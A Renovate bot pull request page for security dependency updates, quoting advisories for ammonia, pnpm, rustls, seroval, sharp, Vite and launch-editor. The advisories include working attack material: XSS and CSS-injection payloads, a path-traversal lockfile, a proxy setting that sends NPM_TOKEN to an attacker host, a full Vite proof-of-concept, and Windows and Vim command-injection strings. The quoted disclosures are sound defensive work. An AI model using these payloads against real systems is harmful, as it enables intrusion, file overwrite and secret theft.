Skip to content

Security patches (release/2.2.0-alpha1) - #405

Open
renovate[bot] wants to merge 1 commit into
release/2.2.0-alpha1from
renovate/release/2.2.0-alpha1-security-patches
Open

renovate[bot] wants to merge 1 commit into
release/2.2.0-alpha1from
renovate/release/2.2.0-alpha1-security-patches

Conversation

@renovate

@renovate renovate Bot commented Sep 30, 2026 •

Copy link
Copy Markdown
Contributor

Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package Type Update Change Age Confidence
ammonia dependencies patch 4.2.0 → 4.2.4 age confidence
pnpm (source) packageManager minor 11.9.0 → 11.11.0 age confidence
rustls dependencies patch 0.23.45 → 0.23.46 age confidence
rustls-webpki dependencies patch 0.103.15 → 0.103.16 age confidence
seroval (source) pnpm-workspace.overrides minor 1.5.4 → 1.6.3 age confidence
sharp (source, changelog) devDependencies patch 0.35.4 → 0.35.5 age confidence
vite (source) devDependencies patch 7.3.6 → 7.3.7 age confidence

Incorrect escaping for url("") functions in CSS style attributes

GHSA-69v2-w9vg-4g83 / RUSTSEC-2021-0157

More information

Details

In some cases, quotation marks in CSS url() functions are not escaped. This allows CSS injection. This feature is not enabled by default, so an application is vulnerable if, and only if, the style attribute is allowed and filter_style_properties is used.

As an example, this snippet:

<div style='background:url("cid:\");EVIL_CSS_HERE;background:url(\"cid:")'>

Would erroneously "sanitize" to:

<div style='background:url("cid:");EVIL_CSS_HERE;background:url("cid:")'>

This vulnerability was reported by Uttej Badwane

Severity

Unknown

References

This data is provided by OSV and the Rust Advisory Database (CC0 1.0).


XSS in ammonia via SVG animateMotion, animateTransform, and/or animateColor tags

GHSA-f2pc-rwv3-69mv / RUSTSEC-2021-0158

More information

Details

The neutralization that ammonia applied to animate and set was not applied to other forms of SVG animation, which can be used for XSS.

The following SVG will produce a link with a javascript scheme.
If the user clicks this link, they will run it.

<svg xmlns="http://www.w3.org/2000/svg">
  <a>
    <animateMotion attributeName="href" to="javascript:alert('SET_XSS')"></animateMotion>
    <text y="30">Click set</text>
  </a>
</svg>

Ammonia did not apply attribute filters based on attributeName,
so the contents of the to, from, and values tags were not sanitized as URLs.

Applications that do not explicitly allow any of these tags should not be affected,
since none are allowed by default.


This vulnerability was reported by ucsurf.

Severity

Unknown

References

This data is provided by OSV and the Rust Advisory Database (CC0 1.0).


Missing case-insensitive matching for CSS url function

GHSA-x43w-36pp-96g3 / RUSTSEC-2026-0373

More information

Details

URL filtering, such as relative URLs and URL scheme limits,
is not always applied when CSS sanitization is used.

When the inner URL is quoted, CSS url("") is matched case-sensitively,
when it should be matched case-insensitively.
As a result, while url("") gets the intended domain name filtering,
URL("") does not.

The following example shows how an application needs to be configured
to trigger this bug.

let mut builder = Builder::new();
// allow inline styles
builder.filter_style_properties(hashset!["background-image"]);
builder.add_generic_attributes(&["style"]);
// notice that "http" URLs aren't allowed
builder.url_schemes(["cid"].into());

// attacker-controlled, presumably
let cleaned = builder.clean(r#"<div style='background:URL("https://evil.com/ping");'>"#);

// this is the expected result
assert_eq!(String::from(&cleaned), r#"<div style="">ok</p>"#);

// this is the result that the vulnerable version actually gets
assert_eq!(String::from(&cleaned), r#"<div style="background-image:URL(&quot;https://evil.com/ping&quot;);">ok</p>"#);

This can be used to inject tracking pixels where the application intended to prevent them.
It does not allow XSS, and its usefulness for data exfiltration is limited.


This vulnerability was reported by Louis Li.

Severity

Unknown

References

This data is provided by OSV and the Rust Advisory Database (CC0 1.0).


pnpm: Virtual store linker path traversal via unvalidated depPath name in lockfileToDepGraph

CVE-2026-82392 / GHSA-c59q-g84q-2gj5

More information

Details

Summary

The virtual store linker constructs package installation directories using path.join(modules, pkgName) where pkgName is extracted from lockfile packages keys via dp.parse(depPath).name without validation. A crafted pnpm-lock.yaml with traversal sequences in depPath keys (e.g., ../../../tmp/pwned@1.0.0) causes package content to be written to arbitrary filesystem paths during pnpm install.

This is an incomplete fix of GHSA-fr4h-3cph-29xv — the safeJoinModulesDir containment helper was applied to the hoisted linker and symlinkDependency but NOT to the virtual store linker's lockfileToDepGraph.ts:233.

Details
Root Cause

dp.parse() at pnpm11/deps/path/src/index.ts:135 extracts the package name as:

const name = dependencyPath.substring(0, sepIndex)

This is a raw substring operation with zero validation that name is a valid npm package name. A depPath of ../../../tmp/pwned@1.0.0 yields name = '../../../tmp/pwned'.

Vulnerable Code Path
  1. pnpm-lock.yaml → lockfile.packages['../../../../../../../tmp/pwned@1.0.0'] (attacker-controlled lockfile key)
  2. nameVerFromPkgSnapshot(depPath, pkgSnapshot) at lockfile/utils/src/nameVerFromPkgSnapshot.ts:16 → calls dp.parse(depPath) → returns { name: '../../../../../../../tmp/pwned' }
  3. lockfileToDepGraph.ts:232 → modules = path.join(dirInVirtualStore, 'node_modules')
  4. lockfileToDepGraph.ts:233 → dir = path.join(modules, pkgName) → resolves to /tmp/pwned (ESCAPES virtual store)
  5. storeController.importPackage(depNode.dir, ...) → writes package content to the traversed path
Why Existing Defenses Don't Catch It
  • depPathToFilename() — replaces / with + for the dirInVirtualStore path, but pkgName comes SEPARATELY from dp.parse() and is NOT passed through this function
  • verifyLockfileResolutions() — validates dependency map keys (aliases) via isValidDependencyAlias(), but never validates the depPath keys themselves
  • Lockfile parser — yaml.load(lockfileRawContent) with no schema validation on packages keys
  • importPackage() — accepts targetDir and passes it directly to cafsStore.importPackage(targetDir, ...) with zero containment check
  • Integrity verification — requires a real fetchable package but does not validate the destination path
Escalation to RCE (non-default config)

When dangerouslyAllowAllBuilds: true is configured (or the traversal package name is in the explicit allowBuilds list), the same traversed path is used in the rebuild phase at after-install/src/index.ts:402,470. The attacker's postinstall script then executes with the victim's shell access. Under default config, allowBuild returns false for unknown packages, limiting impact to arbitrary file write.

Also Affected (PnP linker)

When nodeLinker: pnp is configured, lockfileToPackageRegistry() at lockfile/to-pnp/src/index.ts:105-110 uses the same unvalidated dp.parse().name in packageLocation construction, allowing the .pnp.cjs resolver map to point outside the virtual store. This is a lower-impact variant (PnP is not the default linker).

Impact

An attacker who can commit a crafted pnpm-lock.yaml to a repository (or supply one via a malicious package) can cause arbitrary file writes on the machine of any user who runs pnpm install. Written content is the actual package files from a real npm package (attacker controls which package and which destination).

Targets for arbitrary file write include:

  • .git/hooks/pre-commit — code execution on next git operation
  • ~/.local/bin/ — binary hijacking
  • Project source files — supply chain injection
Reproduction

Craft a pnpm-lock.yaml:

lockfileVersion: '9.0'
packages:
  ../../../../../../../tmp/pwned@1.0.0:
    resolution: {integrity: sha512-<real-package-integrity>}
    engines: {node: '>=14'}
snapshots:
  ../../../../../../../tmp/pwned@1.0.0: {}
importers:
  .:
    dependencies:
      legitimate-name:
        specifier: ^1.0.0
        version: ../../../../../../../tmp/pwned@1.0.0

Run pnpm install — package content is written to /tmp/pwned/ instead of the virtual store.

Recommended Fix

Apply safeJoinModulesDir (or equivalent validation) at:

  • lockfileToDepGraph.ts:233 — path.join(modules, pkgName)
  • after-install/src/index.ts:402 — path.join(pkgModulesDir(depPath), pkgInfo.name)
  • lockfile/to-pnp/src/index.ts:105-110 — PnP packageLocation

Alternatively, validate depPath keys during lockfile parsing to reject any that don't produce valid npm package names via dp.parse().

Relationship to GHSA-fr4h-3cph-29xv

GHSA-fr4h-3cph-29xv fixed the hoisted linker path (lockfileToHoistedDepGraph.ts:222) by adding safeJoinModulesDir. The same fix was NOT applied to the virtual store linker, which uses the identical dp.parse().name → path.join() pattern at lockfileToDepGraph.ts:233.

Severity

  • CVSS Score: 7.1 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:L

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


pnpm: A tarball dependency's manifest name escapes node_modules → arbitrary file write/overwrite on install

CVE-2026-82393 / GHSA-vq4v-j7r6-jq4m

More information

Details

Summary

When resolving a package, pnpm uses the resolved manifest name as a raw path segment for the isolated-linker import target. A tarball dependency whose package.json name is a scoped path traversal (@x/../../…/<abs path>) is therefore extracted outside node_modules, to an attacker-chosen absolute path, and can overwrite existing files there. Attacker controls the destination, filenames, and contents → arbitrary file write → code execution (e.g. ~/.zshrc, .git/hooks/pre-commit, another package's code). Occurs during pnpm install even with --ignore-scripts (no lifecycle scripts run), defeating that safety.

Same class as the just-patched GHSA-hwx4 (transitive-dependency alias traversal) and GHSA-v23m (stage download manifest name/version traversal), in a sink their fixes did not cover: the isolated-linker import target keyed by the resolved name.

Root cause
  • The isolated-linker import target is built with a raw path.join(modules, <resolved name>) in installing/deps-resolver/src/resolvePeers.ts:706, installing/deps-resolver/src/index.ts:614, and deps/graph-builder/src/lockfileToDepGraph.ts:233 — without the safeJoinModulesDir guard used on the symlink/hoisted/bin paths (installing/deps-restorer/src/lockfileToHoistedDepGraph.ts:222). The store location is node_modules/.pnpm/<id>/node_modules/<name>, so a traversal <name> escapes.
  • The only resolve-time name gate (resolving/npm-resolver/src/pickPackage.ts:753) rejects only unscoped names containing /, so a scoped @x/../.. passes.
Steps to reproduce

Self-contained PoC (real pnpm@11.9.0; loopback tarball server; escape target is a throwaway temp dir):

npm i pnpm@11.9.0

##### host a tarball whose package.json name = "@x/"+"../".repeat(25)+"<abs>/OUTSIDE"; victim depends on the http URL
pnpm install --ignore-scripts

Confirmed output (repro/poc.mjs, exit 0):

escape dir is outside the project        : true
new file implanted outside node_modules  : true
pre-existing file OVERWRITTEN            : true
*** CONFIRMED: a tarball dependency wrote & overwrote files OUTSIDE the project during `pnpm install --ignore-scripts` ***
Remediation

Route the isolated-linker import-target joins (resolvePeers.ts:706, deps-resolver/index.ts:614, lockfileToDepGraph.ts:233) through safeJoinModulesDir (as the hoisted linker already does), and/or enforce validate-npm-package-name on the resolved manifest name (close the scoped-name gap at pickPackage.ts:753) so the import target rejects a traversal name and re-asserts containment before any write.

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


pnpm: Environment secrets exfiltrated via env-placeholder expansion in proxy settings read from an untrusted pnpm-workspace.yaml

CVE-2026-101043 / GHSA-vx52-2968-3vc6

More information

Details

Summary

pnpm expands ${VAR} environment placeholders in the httpProxy / httpsProxy / noProxy settings read from a project's pnpm-workspace.yaml. Because a project manifest is repository-controlled, a malicious repository that a victim merely clones and runs pnpm install in can route all install traffic through an attacker proxy whose hostname or userinfo embeds — and thereby exfiltrates — an environment secret such as NPM_TOKEN or GITHUB_TOKEN.

This bypasses a trust boundary pnpm deliberately enforces: env-placeholder expansion of request-destination settings is already suppressed for registry, pnprServer, registries and namedRegistries when they come from an untrusted project manifest, and the sibling .npmrc reader already classifies the proxy keys as request destinations. The manifest-side guard set simply omitted them.

Impact

An attacker who controls only the contents of a repository's pnpm-workspace.yaml — a public repo, a fork, or a supply-chain pull request — can read many values out of the victim's process environment and have them delivered to an attacker-controlled host. No pre-existing access to the victim's store, global config, lockfile, node_modules, or environment is required. The secret is exfiltrated during config loading, before any lifecycle script runs.

This turns "I can author a project manifest" into "I read the victim's environment secrets."

Affected versions

Introduced in pnpm 10.7.0, which added environment-variable expansion in setting names and values.

  • pnpm 11.x: >= 11.0.0, < 11.11.0
  • pnpm 10.x: >= 10.7.0, < 10.34.5

The Rust port (pacquet) and the registry server (pnpr) are not affected.

Patches
  • pnpm 11.11.0 and later
  • pnpm 10.34.5 and later

The fix adds httpProxy, httpsProxy, noProxy, proxy and noproxy to the request-destination key set in @pnpm/config.reader (src/getOptionsFromRootManifest.ts), so env placeholders in proxy settings from an untrusted manifest are dropped rather than expanded — matching the existing registry / pnprServer handling and the .npmrc reader's isRequestDestinationValueKey. Regression tests cover the proxy keys.

Workarounds

Upgrade to a patched version. Until then, do not run pnpm commands in an untrusted repository in an environment that holds secrets, or inspect the repository's pnpm-workspace.yaml for proxy settings before installing.

Proof of concept
##### pnpm-workspace.yaml in an untrusted repository
packages:
  - .
httpsProxy: "http://${NPM_TOKEN}.collector.attacker.example.com:8080"

With NPM_TOKEN set in the victim's environment, pnpm install expands the placeholder and routes install traffic through the attacker's host, whose hostname (and DNS query) carries the token.

Unit level:

process.env.PNPM_TEST_TOKEN = 'secret'
const o = getOptionsFromPnpmSettings(process.cwd(), { httpsProxy: 'http://${PNPM_TEST_TOKEN}.evil/' })
// Vulnerable: o.httpsProxy === 'http://secret.evil/'
// Patched:    o.httpsProxy === undefined

Using registry or pnprServer in place of httpsProxy does not leak on either version — those keys were already guarded, which is what made the proxy keys a hole in an existing boundary rather than an unguarded surface.

Credit

Reported privately. A second finding in the original report — the Authorization header being retained across a same-host https -> http redirect — was assessed and is not treated as a pnpm vulnerability: npm (make-fetch-happen, minipass-fetch), Yarn (got) and reqwest all compare host rather than origin, and a registry that redirects from HTTPS to plaintext HTTP is itself the broken component. That behavior is being discussed publicly at https://github.com/orgs/pnpm/discussions/13598.

Severity

  • CVSS Score: 7.4 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Debug impls for client session values expose TLS secrets

GHSA-c8m5-c952-6cm4 / RUSTSEC-2026-0346

More information

Details

The Debug implementations of Tls12ClientSessionValue and
Tls13ClientSessionValue were derived, and so included the TLS 1.2 master
secret or TLS 1.3 resumption PSK in their output.

Custom ClientSessionStore implementations that format these values with
Debug (for example, when logging) could disclose these secrets to readers of
the logs. This conflicts with rustls's
key-material redaction policy.

Ordinary connection and built-in session cache Debug output is redacted and
is not affected.

Severity

  • CVSS Score: 4.0 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:L/AC:H/PR:H/UI:R/S:U/C:H/I:N/A:N

References

This data is provided by OSV and the Rust Advisory Database (CC0 1.0).


Buffered application data sent to outer server after ECH rejection

GHSA-vp88-798v-h67f / RUSTSEC-2026-0347

More information

Details

When a server rejects Encrypted Client Hello (ECH), the client completes the
handshake using the outer ClientHello and authenticates the server against the
ECH config's public_name. At the end of that handshake, rustls encrypted and
queued any application data buffered via ClientConnection::writer() before
queueing the ech_required alert.

The application correctly receives
Error::PeerIncompatible(ServerRejectedEncryptedClientHello), but the next
write_tls() call (needed to send the alert) also sends the buffered
application data. Plaintext meant for the inner server therefore goes to the
client-facing server named by public_name.

That server is authenticated, so this is not exploitable by an unauthenticated
party, but it violates RFC 9849 section 6.1.6, which requires the client to
abort with ech_required "before sending any application data to the server".

This affects only clients that:

  • use EchMode::Enable (GREASE ECH is not affected),
  • write application data before the handshake completes, and
  • connect to a server that rejects their ECH config (for example, because it is stale).

The underlying ordering bug is older, but before 0.23.44 the client checked
the server certificate against the inner server name rather than public_name,
so certificate verification failed first and no data was sent.

Severity

  • CVSS Score: 2.3 / 10 (Low)
  • Vector String: CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N

References

This data is provided by OSV and the Rust Advisory Database (CC0 1.0).


Brotli certificate decompression can allocate up to 1 GiB before authentication

GHSA-h2v8-394m-p7vv / RUSTSEC-2026-0348

More information

Details

The built-in Brotli certificate decompressor (enabled by the non-default
brotli crate feature) bounded the size of the decompressed output, but
accepted a peer-selected history window. Brotli's large-window extension was
enabled, so a five-byte header could cause an allocation of 1 GiB. A peer can
abort a process whose allocator cannot satisfy that request.

No trusted certificate is required by the attacker. Affected configurations are:

  • clients that enable the brotli feature and connect to a malicious server, and
  • servers that enable the brotli feature and request client certificates.

Applications that do not enable the brotli feature are not affected.

Severity

  • CVSS Score: 3.7 / 10 (Low)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L

References

This data is provided by OSV and the Rust Advisory Database (CC0 1.0).


Unauthenticated ServerHello can downgrade later connections to classical key exchange

GHSA-w44r-93j7-qv28 / RUSTSEC-2026-0349

More information

Details

The client recorded the server-selected key exchange group for each server
name when processing the ServerHello, before the server was authenticated.
This record is used to predict which key share to send in future ClientHellos
to that server name.

A network attacker can answer one connection attempt with a ServerHello
selecting X25519, and then close the connection. Later ClientHellos for that
name carry only an X25519 key share, while supported_groups still lists
X25519MLKEM768 first. If the genuine server accepts that share rather than
sending a HelloRetryRequest for its preferred hybrid group, the handshake
completes with classical-only key exchange and no error. This persists for as
long as the entry stays in the client's session store.

The impact is loss of post-quantum confidentiality for affected connections
("harvest now, decrypt later"). There is no key compromise and no
authentication bypass.

The following are not affected:

  • connections to servers which send a HelloRetryRequest for their preferred group,
  • clients with resumption disabled (as nothing is stored), and
  • other server names.

This behaviour is discussed in
draft-ietf-tls-key-share-prediction,
so the practical impact depends largely on server policy.

Severity

  • CVSS Score: 3.7 / 10 (Low)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N

References

This data is provided by OSV and the Rust Advisory Database (CC0 1.0).


Certificate verification may accept distrusted intermediates

CVE-2026-111943 / GO-2026-6809 / RUSTSEC-2026-0381 / RUSTSEC-2026-0382 / RUSTSEC-2026-0383

More information

Details

Affected versions may accept certificate paths containing distrusted emSign
intermediate public keys when the configured trust anchors allow such paths.
The private keys corresponding to these intermediates are now well known.

Versions 0.103.16 and 0.104.0-alpha.8 reject paths containing these public keys.

Severity

Unknown

References

This data is provided by OSV and the Rust Advisory Database (CC0 1.0).


Seroval: fromJSON() Promise thenable assimilation invokes plugin-produced callables (bypass of GHSA-mv8w-475r-vwqw)

CVE-2026-104846 / GHSA-p6vx-979v-rg4c

More information

Details

A fulfilled Promise node deserialized by fromJSON() can trigger unintended invocation of a plugin-produced callable through native ECMAScript thenable assimilation. This bypasses the type-confusion fix in seroval@1.5.3 (GHSA-mv8w-475r-vwqw / CVE-2026-59940) and affects every plugin-capable release from 0.12.0 through the current 1.6.0.

Severity

  • CVSS Score: 9.8 / 10 (Critical)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Seroval: Memory exhaustion via unchecked TypedArray length in JSON deserialization

CVE-2026-104845 / GHSA-jp82-f5mq-hwhp

More information

Details

Summary

deserializeTypedArray casts the source node to ArrayBuffer without checking it and never bounds the element count. Pass a plain object with a length property and it hits the array-like TypedArray constructor, allocating that many elements. The offset guard above it can't stop this: source.byteLength is undefined, so the comparison is always false.

The length is one integer in the JSON, so a tiny payload can name any allocation size, and it runs synchronously inside fromJSON, starving the event loop instead of just slowing one request. fromCrossJSON is the same.

Impact is unauthenticated CPU/memory exhaustion for any service deserializing untrusted Seroval JSON: same profile as the array-length and nested-depth DoS issues already fixed here. No confidentiality or integrity impact. DataView has the same unchecked cast but throws instead of allocating. A runtime instanceof ArrayBuffer check plus a size cap should fix it.

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


sharp : Vulnerability in librsvg dependency CVE-2026-96889

CVE-2026-114111 / GHSA-wq5f-xc86-pv6w

More information

Details

Impact

A memory-related vulnerability has been discovered and fixed in the upstream librsvg dependency. When certain runtime-specific conditions apply, this vulnerability can lead to possible remote code execution (RCE) on glibc-based Linux.

Patches
Using prebuilt binaries provided by sharp?

Most people rely on the prebuilt binaries provided by sharp.

Please upgrade sharp to the latest version, currently 0.35.5, which provides librsvg 2.63.2.

Using a globally-installed librsvg?

Please ensure you are using the latest librsvg 2.63.2.

Workarounds

Add the following to your code to prevent sharp from decoding SVG images.

sharp.block({ operation: ["VipsForeignLoadSvg"] });

To avoid RCE, ensure you are using a node executable binary compiled as a Position Independent Executable (PIE). Most Linux package managers already use this security-hardening feature however be warned that the "official" Node.js binaries do not.
1

Severity

  • CVSS Score: 8.9 / 10 (High)
  • Vector String: CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


launch-editor: fs.existsSync() existence check can be bypassed on Windows

CVE-2026-112942 / GHSA-587h-7wmj-h5pm

More information

Details

Summary

launch-editor checked fs.existsSync(fileName) before passing a supplied path to an editor command. On Windows, an attacker can bypass this check with a crafted path ending in \\..:line:column. This removes the requirement that the attacker be able to place a file with a malicious filename.

Combined with the % escaping issue described in GHSA-698v-4r3x-3vcv, this bypass can lead to OS command injection when an attacker controls the file argument.

Impact

Only apps that runs on Windows is affected.

Details

The earlier advisory assumed that fs.existsSync() required an attacker-controlled filename to exist. This advisory covers a bypass of that requirement.

A crafted value ending in \\..:1:1 is interpreted differently by launch-editor-middleware, launch-editor, and Windows:

  1. launch-editor-middleware calls path.resolve() while the final path component is ..:1:1, so it is not treated as a parent-directory component.
  2. launch-editor treats :1:1 as a line-and-column suffix and removes it, leaving a path ending in \\...
  3. On Windows, fs.existsSync() accepts the resulting path as the existing parent directory even though the attacker-controlled preceding component does not exist.
  4. Because the existence check passes, the crafted filename reaches the Windows shell command.

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


launch-editor: escapeCmdArgs() omits % escaping on Windows

CVE-2026-112943 / GHSA-698v-4r3x-3vcv

More information

Details

Summary

launch-editor did not escape % on Windows when passing an argument to cmd. When an environment variable contained a malicious value, it was possible that that content to be executed.

Impact

Only apps that match all of the following conditions are affected:

  • The user uses Windows
  • An attacker can place a file with the malicious filename containing & or %
  • Either of
    • An attacker can inject an environment variable with a malicious value
    • An attacker can add a NTFS alternate data stream to the file placed
Details

Unlike .sh files, .bat / .cmd files on Windows cannot be called directly using child_process.spawn and requires passing them as an argument of cmd.exe. To do so, launch-editor escapes the arguments passed to cmd.exe. But launch-editor did not escape % which is used for environment variables.

Because launch-editor checks if the argument matches an existing filename, the attack requires the attacker to be able to place a file.

  • If the attacker can inject an environment variable as well, they can include the subcommand in the env variable (e.g. set &calc.exe to %ENV%) and call launchEditor with something%ENV%.
  • If the attacker can place a NTFS alternate data stream to the file (e.g. a NTFS alternate data stream named ~-38%calc.exe), they can call launchEditor with something %CMDCMDLINE:~-38%calc.exe.
  • If the attacker can create a filename containing the %CD% and the subcommand (e.g. &calc.exe ), they can call launchEditor with ./%CD%

Severity

  • CVSS Score: 6.3 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Vite: Cross origin script execution through Vite custom middleware

CVE-2026-112945 / GHSA-9jrq-w75r-8gcw

More information

Details

Summary

When accessing a malicious site while a dev server using Vite is running, that site was able to load scripts in a page served by the dev server.

Impact

Only apps that match the following conditions are affected:

  • the dev server passes an unchanged browser request URL to server.transformIndexHtml: this is normally used for server.middlewareMode: true or appType: 'custom'. The internal call for appType: 'spa' and appType: 'mpa' does not match this.
  • the transformed HTML contains an inline module script
  • from the script in the page served by the dev server, the app stores sensitive values in the location accessible or allows critical actions
Details

Vite's SSR guide for 8.2.1 documents the affected setup. The application embeds Vite in middleware mode, reads trusted HTML, and passes the browser's unchanged request URL to the transform:

const url = req.originalUrl
template = await vite.transformIndexHtml(url, template)

For a development server at http://localhost:5173, an attacker can send this URL:

http://localhost:5173//evil.example/payload.js?/../../package.json

In Vite 8.2.1, createDevHtmlTransformFn and getHtmlFilename in indexHtml.ts use the request URL as both the transform path and the input to path.join. The value passed to path.join still includes its query text.

Chromium preserves /../../package.json because it follows ? and is therefore query text. Vite treats the same characters as filesystem path components, so the .. components resolve the derived filename to the existing project package.json.

The existing file branch in indexHtml.ts checks that filename with fs.existsSync, then preserves the htmlPath supplied by the attacker as proxyModuleUrl. The inline module rewrite in the same file writes that value into the generated src:

<script type="module" src="//evil.example/payload.js?/../../package.json?html-proxy&index=0.js"></script>

The generated value is a valid URL. Its leading // tells the browser to request the module from evil.example using the Vite page's scheme. The attacker returns JavaScript for that request, and Chromium executes it in the Vite page.

PoC
import { createServer as createHttpServer } from 'node:http'
import { createRequire } from 'node:module'
import { dirname, join } from 'node:path'
import { fileURLToPath, pathToFileURL } from 'node:url'

const directory = dirname(fileURLToPath(import.meta.url))
const require = createRequire(join(directory, 'package.json'))
const { chromium } = require('playwright-chromium')
const viteModule = await import(
  pathToFileURL(require.resolve('vite')).href
)
const createViteServer =
  viteModule.createServer ?? viteModule.default.createServer

// This loopback server stands in for a separately hosted attacker website.
const attackerPort = 4173
const exploitPath = `//127.0.0.1:${attackerPort}/payload.js?/../../package.json`
const html = '<script type="module">document.body.textContent = "Vite app"</script>'

const listen = (server, port = 0) =>
  new Promise((resolve, reject) => {
    server.once('error', reject)
    server.listen(port, '127.0.0.1', () => {
      server.off('error', reject)
      resolve(server.address().port)
    })
  })

const close = (server) =>
  new Promise((resolve, reject) => {
    server.close((error) => (error ? reject(error) : resolve()))
  })

let attackerRequest = null
const attacker = createHttpServer((request, response) => {
  attackerRequest = request.url
  response.writeHead(200, {
    'access-control-allow-origin': '*',
    'content-type': 'text/javascript',
  })
  response.end(
    "document.documentElement.dataset.viteXssPoc = 'executed'",
  )
})

const vite = await createViteServer({
  appType: 'custom',
  configFile: false,
  root: directory,
  server: {
    hmr: false,
    middlewareMode: true,
    watch: null,
  },
})

const application = createHttpServer((request, response) => {
  vite.middlewares(request, response, async (error) => {
    if (error) {
      response.destroy(error)
      return
    }

    try {
      const transformed = await vite.transformIndexHtml(request.url, html)
      response.writeHead(200, { 'content-type': 'text/html' })
      response.end(transformed)
    } catch (transformError) {
      response.destroy(transformError)
    }
  })
})

await listen(attacker, attackerPort)
const applicationPort = await listen(application)
const browser = await chromium.launch({ headless: true })

try {
  const page = await browser.newPage()
  await page.goto(`http://127.0.0.1:${applicationPort}${exploitPath}`)
  await page.waitForFunction(
    () => document.documentElement.dataset.viteXssPoc === 'executed',
  )

  console.log(`attacker request: ${attackerRequest}`)
  console.log('JavaScript from the attacker server executed in the Vite page')
} finally {
  await browser.close()
  await close(application)
  await vite.close()
  await close(attacker)
}

Observed output on Vite 8.2.1:

attacker request: /payload.js?/../../package.json?html-proxy&index=0.js
JavaScript from the attacker server executed in the Vite page

Severity

  • CVSS Score: 2.1 / 10 (Low)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


launch-editor: Editor CLI flag misinterpretation causing arbitrary command execution for some editors

CVE-2026-112944 / GHSA-r825-w8mm-5pxw

More information

Details

Summary

launch-editor forwarded file paths directly to editors without sanitization. If a path resembles a CLI flag, editors like Vim may interpret it as a command, potentially causing unintended file overwrites or command execution.

Impact
Direct launch-editor users

Only apps that match all of the following conditions are affected:

  • The attacker is able to create a file system entry (e.g. a file or directory) starting with + or - in the working directory
  • The user uses or the app specifies any of the following editors:
    • Vim (including gVim)
    • MacVim
    • Emacs (including Emacsclient)
    • Notepad++ (only if using a plugin exposing dangerous operations via plugin messages)
  • The first argument of launchEditor can start with + or - or the user is using WSL
launch-editor-middleware users

Only apps that match the following conditions are affected:

  • The attacker is able to create a file system entry (e.g. a file or directory) starting with + or - in the working directory
  • The user uses or the app specifies any of the following editors:
    • Vim (including gVim)
    • MacVim
    • Emacs (including Emacsclient)
    • Notepad++ (only if using a plugin exposing dangerous operations via plugin messages)
  • launch-editor older than v2.2.0 is used, or the user is using WSL
Vite users

Only apps that match the following conditions are affected:

  • The attacker is able to create a file system entry (e.g. a file or directory) starting with + or - in the working directory
  • The user uses or the app specifies any of the following editors:
    • Vim (including gVim)
    • MacVim
    • Emacs (including Emacsclient)
    • Notepad++ (only if using a plugin exposing dangerous operations via plugin messages)
  • The user is using WSL
Details

launchEditor(file) function passes the file name as-is to the editor if the file with that file name exists. If the file name starts with - (also + for Vim), the editor treats them as flags rather than positional arguments. For example, Vim treats arguments starting with + as an Ex command. As a result, an existing relative directory such as:

+call writefile(["SAFE_MARKER"],"LAUNCH_EDITOR_MARKER")|qa!

is not treated as a filename when passed to Vim. Vim executes the embedded Ex command.

The following editor has a potentially destructive operation exposed to the CLI arguments:

  • Vim (including gVim)
  • MacVim
  • Emacs (including Emacsclient)
  • Notepad++ (only if using a plugin exposing dangerous operations via plugin messages)

launch-editor-middleware v2.2.0+ converts the passed file path to an absolute path so those are not affected as long as the user is not using WSL. For WSL, launch-editor converts the paths to relative paths internally, so those are still affected.

Vite 2.0.0+ uses launch-editor-middleware v2.2.0+ so the WSL users are only affected.

Severity

  • CVSS Score: 6.3 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N

References

[!IMPORTANT]
✂ PR body was truncated to here.

@renovate renovate Bot added dependencies Pull requests that update a dependency file renovate security labels Sep 30, 2026
@wojcik91
wojcik91 force-pushed the release/2.2.0-alpha1 branch from f6a32cb to eec0c5d Compare September 30, 2026 09:31
@renovate
renovate Bot force-pushed the renovate/release/2.2.0-alpha1-security-patches branch from f9ad32a to d9f8145 Compare September 30, 2026 09:36
@renovate
renovate Bot force-pushed the renovate/release/2.2.0-alpha1-security-patches branch 3 times, most recently from b111895 to 601ab7e Compare October 17, 2026 21:59
@renovate
renovate Bot force-pushed the renovate/release/2.2.0-alpha1-security-patches branch from 601ab7e to 190bda8 Compare October 20, 2026 21:07
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

